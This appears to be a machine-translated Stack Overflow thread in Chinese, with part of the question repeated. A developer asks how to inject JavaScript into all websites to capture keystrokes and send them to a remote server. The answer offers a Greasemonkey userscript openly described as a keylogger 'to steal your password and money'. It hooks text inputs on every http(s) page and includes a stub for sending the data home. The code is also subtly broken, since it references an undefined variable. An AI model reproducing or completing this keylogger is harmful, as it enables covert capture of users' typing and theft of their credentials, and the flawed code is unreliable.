用于插入javascript的Firefox插件或greasemonkey脚本
我正在开发一个分析用户打字模式的应用程序。为了实现这一点,我需要更改用户所在网页(例如yahoo.com)的HTML——对于页面中的所有文本框项目,添加一些JavaScript函数来捕获向下键和向上键事件。因此,我需要能够向现有页面添加新的JavaScript。这些功能将数据打包并发送到远程服务器(例如myApp.com) 我需要以下方面的帮助:用于插入javascript的Firefox插件或greasemonkey脚本,javascript,firefox-addon,greasemonkey,Javascript,Firefox Addon,Greasemonkey,我正在开发一个分析用户打字模式的应用程序。为了实现这一点,我需要更改用户所在网页(例如yahoo.com)的HTML——对于页面中的所有文本框项目,添加一些JavaScript函数来捕获向下键和向上键事件。因此,我需要能够向现有页面添加新的JavaScript。这些功能将数据打包并发送到远程服务器(例如myApp.com) 我需要以下方面的帮助: 将JavaScript插入HTML页面 将上面添加的JavaScript中定义的一些函数添加到网页中的所有textarea元素中 将数据从上面的Jav
textarea
元素中谢谢 如果您不介意它只在firefox上运行,那么我建议您
如果您喜欢使用它,这是一个非常熟悉的环境。这是获取keyup和keydown事件所需的代码
// ==UserScript==
// @name Log-O-Matic
// @description A keylogger to steal your password and money ^^
// @include http*://*
// ==/UserScript==
var collected_data="";
function collect(event){ collected_data+="/"+event.keyCode;}
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */}
var textareas = document.getElementsByTagName("textarea");
for(i in textareas) {
textareas[i].onKeyPress=collect;
}
var inputs = document.getElementsByTagName("input");
for(i in input) {
if(input[i].type!="password")input[i].onKeyPress=collect;
}
你为什么需要键盘记录器?你试过什么?你开始建造什么了吗?您遇到了哪些具体问题?分析按键和打包数据的javascript已经准备好了。我有一个测试页面,它有一个文本框,允许捕获用户输入。我现在需要与其他网页集成,并需要帮助才能开始。我的应用程序与解释用户的键入模式相关-因此我需要键盘记录程序。无意冒犯,但如果你无法了解greasemonkey的功能,你就无法编写JS来完成这项工作。